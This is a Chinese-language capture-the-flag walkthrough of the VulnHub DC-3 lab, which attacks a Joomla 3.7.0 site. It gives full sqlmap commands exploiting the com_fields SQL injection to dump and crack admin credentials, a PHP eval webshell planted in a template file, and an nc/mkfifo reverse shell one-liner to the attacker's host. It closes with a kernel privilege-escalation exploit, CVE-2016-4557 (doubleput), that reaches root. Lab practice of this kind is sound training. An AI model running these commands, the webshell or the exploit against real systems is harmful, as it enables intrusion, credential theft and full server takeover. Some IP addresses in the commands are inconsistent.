一、搭建靶场环境
1、靶场描述
DC-3是另一个专门建立的易受攻击的实验室,旨在获得渗透测试领域的经验。与之前的DC版本一样,这个版本是为初学者设计的,尽管这一次只有一个标志,一个入口点,根本没有线索。必须具备Linux技能并熟悉Linux命令行,还必须具有使用基本渗透测试工具的经验。DC-3只有一个flag。
2、下载靶场地址
https://www.vulnhub.com/entry/dc-32,312/
二、靶场渗透
1、寻找靶场真实IP//nmap -sP 192.168.35.1/24
192.168.35.1 vm8网卡
192.168.35.2 网关
192.168.3.131 靶机
192.168.35.254 DHCP服务器
192.168.35.128 kali本机
2、信息收集探测端口和服务//nmap -A -p- -v 192.168.35.131
3、发现开放了80端口,存在web服务,Apache/2.4.18,CMS为Joomla,他告诉我们这次DC-3实战只有一个目标获得root权限
4、SQL注入
1)在kali中,JoomScan可以用于检测 Joomla 是否存在可利用的漏洞,工作原理与WPScan类似
使用该命令对网站进行扫描:joomscan --url http://192.168.35.131
有的可能kali上没有 joomscan 工具,可以使用下面的命令下载:apt install joomscan
2)通过 Joomscan 可以看到该网站的版本号为 3.7.0 ,也可以直接扫描到它的登陆后台
3)joomla的版本号是3.7.0,存在一个后台管理页面http://192.168.35.131/administrator/我们先访问一下,果然是后台管理页面
5、利用nikto扫描获取后台地址
Nikto是一个开源的WEB扫描评估软件,可以对Web服务器进行多项安全测试,能在230多种服务器上扫描出 2600多种有潜在危险的文件、CGI及其他问题。Nikto可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的 http模式等。
nikto --url http://192.168.35.131/
6、查找漏洞发现存在SQL注入
1) 我们前面知道了CMS为joomla,版本为3.7.0
使用searchsploit检查到有对应的漏洞//searchsploit joomla 3.7.0
我们发现有一个SQL注入,还存在一个XSS
2)searchsploit -m 42033.txt
3)我们看到了POC,我们验证一下,把localhost修改为我们的靶机IP就ok
看到提示,数据库语句错误,说明进行了拼接,存在SQL注入
7、爆数据
1)爆数据库
sqlmap -u "http://192.168.3.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] –batch
2)得到五个数据库,既然网站是joomla,就优先查看了joomladb库
sqlmap -u "http://192.168.35.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --current-db –batch
3)获取joomladb的users表的字段名
sqlmap -u "http://192.168.35.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns
前两个都默认选Y
第三个任意填选数字,第四使用10线程
最终的到6个字段
4)获取目标字段username和password
sqlmap -u "http://192.168.35.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns -C "username,password" --dump --batch
获得结果,得到一个用户名和加密的密码
8、利用john爆破密码snoopy
使用john破解出admin密码,john the ripper是一款本地密码破解工具,可以从我们上面生成的shadow文件(密码散列)中破解出密码。破解时间取决于密码的复杂程度以及破解模式。
创建一个1.txt,把加密的密码字段写入
可以利用kali内密码爆破工具John,将密码保存到文档中,直接用John来爆破
9、利用获取到的账号和密码进行登录
http://192.168.35.131/administrator/
admin/snoopy登陆成功
10、上传文件
1)上传webshell,发现一个上传点
2)点击Beez3 Details and Files进入
3)点击newfiles
4) http://192.168.35.131/templates/beez3/html/
5)回到刚才的页面点击new file
在html下创建一个php文件,名字叫做shell
6)创建成功之后,跳到编辑页面,然后我们输入php一句话,点击左上角绿色的save进行保存
<?php
echo ("密码是a");
@eval($_REQUEST [a]);
?>
再次访问 http://192.168.66.142/templates/beez3/html/
发现多了一个shell.php文件,我们访问一下
7)访问webshell,得到我们设置的会先内容,文件上传成功
http://192.168.35.131/templates/beez3/html/shell.php
11、蚁剑管理webshell
保存成功后去中国蚁剑,显示成功链接,这样我们就拿到了webshell了,右键添加数据
右键进入虚拟终端执行whaomi查询我权限,是www-data权限
12、反弹shell到kali
1)蚁剑看到的终端不如kali清晰,反弹一个shell到kali
kali监听 //nc -lvvp 1234
2)靶机连接,切记链接靶机时是用的kali IP地址
nc -e /bin/bash 192.35.128 1234
发现-e参数不可用
3)使用如下目录连接
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.35.128 1234 >/tmp/f
13、创建交互式shell
经常用shell的都知道这个shell不好用,我们建立一个交互式shell
常用的就是python创建交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
14、使用辅助脚本发现提权漏洞
1)下载辅助脚本Linux-Exploit-Suggester.sh
下载地址:
https://github.com/mzet-/linux-exploit-suggester
2)上传辅助脚本
我们直接在蚁剑中上传
3)发现漏洞
ls -l linux-exploit-suggester.sh
4)发现没有执行权限,我们给他加个执行文件
chmod +x linux-exploit-suggester.sh
5)执行脚本
./linux-exploit-suggester.sh
发现很多可利用漏洞
14、使用辅助脚本提权
1)获取提权脚本
上面发现了很多漏洞,这里我们挑一个进行提权
挑选CVE-2016-4557
2)在图片里可以看到是一个39772的文件,由于给出的那个URL无法下载
也可以去searchsploit里面去看看 //searchsploit -m 39772.txt
3)地址上面一样也不能使用
4)可以使用下面地址直接下载
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/blob/main/bin-sploits/39772.zip
15、提权
1)解压文件//unzip 39772.zip
2)cd 39772
ls
3)再将 exploit.tar 文件解压缩,可以发现之前文本中提到的执行文件
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
4)最后执行刚刚漏洞利用文件演示的代码
./compile.sh
./doubleput
5)执行whoami回显root提权成功
16、查看flag //cat the-flag.txt